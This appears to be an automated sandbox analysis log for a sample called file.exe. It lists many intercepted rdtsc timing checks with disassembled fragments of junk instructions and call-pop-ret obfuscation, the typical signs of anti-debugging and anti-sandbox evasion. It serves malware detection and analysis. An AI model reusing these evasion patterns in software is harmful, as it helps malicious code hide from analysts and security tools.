Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AD2D6 second address: 5AD324 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 sub esi, 61CEEF18h 0x0000000f push 00000000h 0x00000011 je 00007F1374D398B6h 0x00000017 mov si, dx 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ecx 0x0000001f call 00007F1374D398B8h 0x00000024 pop ecx 0x00000025 mov dword ptr [esp+04h], ecx 0x00000029 add dword ptr [esp+04h], 0000001Dh 0x00000031 inc ecx 0x00000032 push ecx 0x00000033 ret 0x00000034 pop ecx 0x00000035 ret 0x00000036 or dword ptr [ebp+122D27D6h], esi 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f push edi 0x00000040 push eax 0x00000041 pop eax 0x00000042 pop edi 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ADB00 second address: 5ADB18 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F1374C2DE10h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ADB18 second address: 5ADB1C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AE8A5 second address: 5AE8CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1374C2DE13h 0x00000008 push esi 0x00000009 pop esi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f pushad 0x00000010 jnl 00007F1374C2DE06h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5AF568 second address: 5AF56E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B5D98 second address: 5B5D9C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B8332 second address: 5B835A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1374D398BBh 0x00000008 jmp 00007F1374D398C2h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9385 second address: 5B940E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F1374C2DE08h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F1374C2DE14h 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push ebx 0x00000016 call 00007F1374C2DE08h 0x0000001b pop ebx 0x0000001c mov dword ptr [esp+04h], ebx 0x00000020 add dword ptr [esp+04h], 0000001Ch 0x00000028 inc ebx 0x00000029 push ebx 0x0000002a ret 0x0000002b pop ebx 0x0000002c ret 0x0000002d jng 00007F1374C2DE06h 0x00000033 push 00000000h 0x00000035 jmp 00007F1374C2DE0Dh 0x0000003a push 00000000h 0x0000003c push 00000000h 0x0000003e push esi 0x0000003f call 00007F1374C2DE08h 0x00000044 pop esi 0x00000045 mov dword ptr [esp+04h], esi 0x00000049 add dword ptr [esp+04h], 00000017h 0x00000051 inc esi 0x00000052 push esi 0x00000053 ret 0x00000054 pop esi 0x00000055 ret 0x00000056 movsx edi, ax 0x00000059 xchg eax, esi 0x0000005a push eax 0x0000005b jo 00007F1374C2DE0Ch 0x00000061 push eax 0x00000062 push edx 0x00000063 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 57591E second address: 575929 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push esi 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 575929 second address: 57592E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9577 second address: 5B957D instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B957D second address: 5B9587 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F1374C2DE0Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BEF40 second address: 5BEF61 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1374D398BCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F1374D398BEh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5B9587 second address: 5B9633 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007F1374C2DE08h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 00000017h 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 movzx edi, bx 0x00000024 push edi 0x00000025 add edi, dword ptr [ebp+1244FB84h] 0x0000002b pop edi 0x0000002c push dword ptr fs:[00000000h] 0x00000033 mov bl, C7h 0x00000035 mov dword ptr fs:[00000000h], esp 0x0000003c jmp 00007F1374C2DE17h 0x00000041 mov edi, dword ptr [ebp+122D35FEh] 0x00000047 mov eax, dword ptr [ebp+122D01B1h] 0x0000004d push 00000000h 0x0000004f push ecx 0x00000050 call 00007F1374C2DE08h 0x00000055 pop ecx 0x00000056 mov dword ptr [esp+04h], ecx 0x0000005a add dword ptr [esp+04h], 0000001Ch 0x00000062 inc ecx 0x00000063 push ecx 0x00000064 ret 0x00000065 pop ecx 0x00000066 ret 0x00000067 push FFFFFFFFh 0x00000069 mov bh, 97h 0x0000006b nop 0x0000006c push eax 0x0000006d push edx 0x0000006e pushad 0x0000006f jmp 00007F1374C2DE19h 0x00000074 push ebx 0x00000075 pop ebx 0x00000076 popad 0x00000077 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BFF41 second address: 5BFF47 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BFF47 second address: 5BFF4E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5BFF4E second address: 5BFFAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c jp 00007F1374D398B8h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007F1374D398B8h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 00000016h 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e xor dword ptr [ebp+122D1935h], ebx 0x00000034 xchg eax, esi 0x00000035 jmp 00007F1374D398C6h 0x0000003a push eax 0x0000003b je 00007F1374D398C4h 0x00000041 pushad 0x00000042 jno 00007F1374D398B6h 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C2F62 second address: 5C2F9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 jmp 00007F1374C2DE19h 0x0000000b pop edx 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F1374C2DE17h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3E7B second address: 5C3E80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C3E80 second address: 5C3E96 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1374C2DE12h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C21B8 second address: 5C21BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C118C second address: 5C1240 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374C2DE12h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a push eax 0x0000000b jmp 00007F1374C2DE10h 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push esi 0x00000014 call 00007F1374C2DE08h 0x00000019 pop esi 0x0000001a mov dword ptr [esp+04h], esi 0x0000001e add dword ptr [esp+04h], 0000001Dh 0x00000026 inc esi 0x00000027 push esi 0x00000028 ret 0x00000029 pop esi 0x0000002a ret 0x0000002b add bx, 7337h 0x00000030 mov edi, eax 0x00000032 push dword ptr fs:[00000000h] 0x00000039 or bh, 00000070h 0x0000003c mov dword ptr fs:[00000000h], esp 0x00000043 sub di, 488Dh 0x00000048 mov eax, dword ptr [ebp+122D00B1h] 0x0000004e push 00000000h 0x00000050 push ebx 0x00000051 call 00007F1374C2DE08h 0x00000056 pop ebx 0x00000057 mov dword ptr [esp+04h], ebx 0x0000005b add dword ptr [esp+04h], 00000019h 0x00000063 inc ebx 0x00000064 push ebx 0x00000065 ret 0x00000066 pop ebx 0x00000067 ret 0x00000068 movzx ebx, bx 0x0000006b add bh, FFFFFFE7h 0x0000006e push FFFFFFFFh 0x00000070 jc 00007F1374C2DE08h 0x00000076 push eax 0x00000077 pushad 0x00000078 jc 00007F1374C2DE08h 0x0000007e je 00007F1374C2DE0Ch 0x00000084 push eax 0x00000085 push edx 0x00000086 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C4151 second address: 5C415B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1374D398B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C4FF8 second address: 5C5090 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F1374C2DE08h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push esi 0x00000010 call 00007F1374C2DE08h 0x00000015 pop esi 0x00000016 mov dword ptr [esp+04h], esi 0x0000001a add dword ptr [esp+04h], 00000019h 0x00000022 inc esi 0x00000023 push esi 0x00000024 ret 0x00000025 pop esi 0x00000026 ret 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ebp 0x0000002c call 00007F1374C2DE08h 0x00000031 pop ebp 0x00000032 mov dword ptr [esp+04h], ebp 0x00000036 add dword ptr [esp+04h], 0000001Bh 0x0000003e inc ebp 0x0000003f push ebp 0x00000040 ret 0x00000041 pop ebp 0x00000042 ret 0x00000043 jng 00007F1374C2DE0Ch 0x00000049 mov edi, dword ptr [ebp+122D2A83h] 0x0000004f push 00000000h 0x00000051 add dword ptr [ebp+122D30C4h], eax 0x00000057 mov edi, dword ptr [ebp+122D360Eh] 0x0000005d xchg eax, esi 0x0000005e jnc 00007F1374C2DE0Eh 0x00000064 push eax 0x00000065 pushad 0x00000066 jmp 00007F1374C2DE15h 0x0000006b push eax 0x0000006c push eax 0x0000006d push edx 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C6133 second address: 5C61AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 ja 00007F1374D398C1h 0x0000000e nop 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007F1374D398B8h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 xor ebx, 3CFADCBFh 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push edx 0x00000034 call 00007F1374D398B8h 0x00000039 pop edx 0x0000003a mov dword ptr [esp+04h], edx 0x0000003e add dword ptr [esp+04h], 00000014h 0x00000046 inc edx 0x00000047 push edx 0x00000048 ret 0x00000049 pop edx 0x0000004a ret 0x0000004b push 00000000h 0x0000004d mov ebx, eax 0x0000004f or dword ptr [ebp+122D1A39h], ebx 0x00000055 xchg eax, esi 0x00000056 jg 00007F1374D398C4h 0x0000005c push eax 0x0000005d push edx 0x0000005e push ecx 0x0000005f pop ecx 0x00000060 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C9807 second address: 5C982F instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F1374C2DE06h 0x00000008 jnl 00007F1374C2DE06h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jmp 00007F1374C2DE15h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C982F second address: 5C9841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 jl 00007F1374D398C0h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C9EFE second address: 5C9F1F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1374C2DE15h 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C9F1F second address: 5C9F23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C62C2 second address: 5C62C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C9F23 second address: 5C9FA4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374D398C6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f popad 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F1374D398B8h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 0000001Ch 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b call 00007F1374D398BAh 0x00000030 jmp 00007F1374D398BDh 0x00000035 pop edi 0x00000036 push 00000000h 0x00000038 mov edi, dword ptr [ebp+122D3502h] 0x0000003e mov bx, 6B68h 0x00000042 push 00000000h 0x00000044 mov bh, dh 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a push eax 0x0000004b pop eax 0x0000004c jmp 00007F1374D398BCh 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5C62C8 second address: 5C62CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CB21A second address: 5CB237 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F1374D398B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b push eax 0x0000000c pushad 0x0000000d ja 00007F1374D398B8h 0x00000013 push eax 0x00000014 push edx 0x00000015 jnl 00007F1374D398B6h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF073 second address: 5CF077 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF077 second address: 5CF081 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CF081 second address: 5CF085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2556 second address: 5D255E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D255E second address: 5D2584 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F1374C2DE0Ah 0x0000000f jno 00007F1374C2DE12h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D2584 second address: 5D258C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D258C second address: 5D2590 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1F93 second address: 5D1F99 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D1F99 second address: 5D1F9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561962 second address: 561977 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007F1374D398B6h 0x0000000f jns 00007F1374D398B6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561977 second address: 561997 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F1374C2DE0Fh 0x0000000d popad 0x0000000e pushad 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 561997 second address: 5619B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F1374D398C5h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5D9F06 second address: 5D9F20 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 jo 00007F1374C2DE12h 0x0000000b jl 00007F1374C2DE06h 0x00000011 jbe 00007F1374C2DE06h 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC4AF second address: 5DC4C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jno 00007F1374D398B8h 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC4C4 second address: 5DC4CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC4CE second address: 5DC4D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5DC4D2 second address: 5DC4E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0343 second address: 5E0347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0347 second address: 5E035D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1374C2DE10h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E035D second address: 5E0375 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F1374D398C3h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0375 second address: 5E037E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E096F second address: 5E097D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374D398BAh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E097D second address: 5E0983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0983 second address: 5E09B3 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F1374D398CAh 0x00000008 jmp 00007F1374D398C4h 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 jnp 00007F1374D398B6h 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E09B3 second address: 5E09D5 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F1374C2DE06h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a je 00007F1374C2DE18h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0CA9 second address: 5E0CBE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F1374D398BDh 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0CBE second address: 5E0CC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E0CC2 second address: 5E0CC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E11BC second address: 5E11C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E11C1 second address: 5E11CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F1374D398B6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1309 second address: 5E1337 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007F1374C2DE0Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007F1374C2DE17h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1337 second address: 5E1368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F1374D398B6h 0x0000000a popad 0x0000000b jmp 00007F1374D398C5h 0x00000010 popad 0x00000011 push edx 0x00000012 push ebx 0x00000013 jmp 00007F1374D398BCh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E1368 second address: 5E1371 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5ADC second address: 5E5AE6 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F1374D398B6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5AE6 second address: 5E5B06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F1374C2DE17h 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E5C82 second address: 5E5C9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F1374D398C6h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E60A5 second address: 5E60AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E60AD second address: 5E60C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F1374D398C0h 0x00000009 popad 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pop esi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5E60C6 second address: 5E60CC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
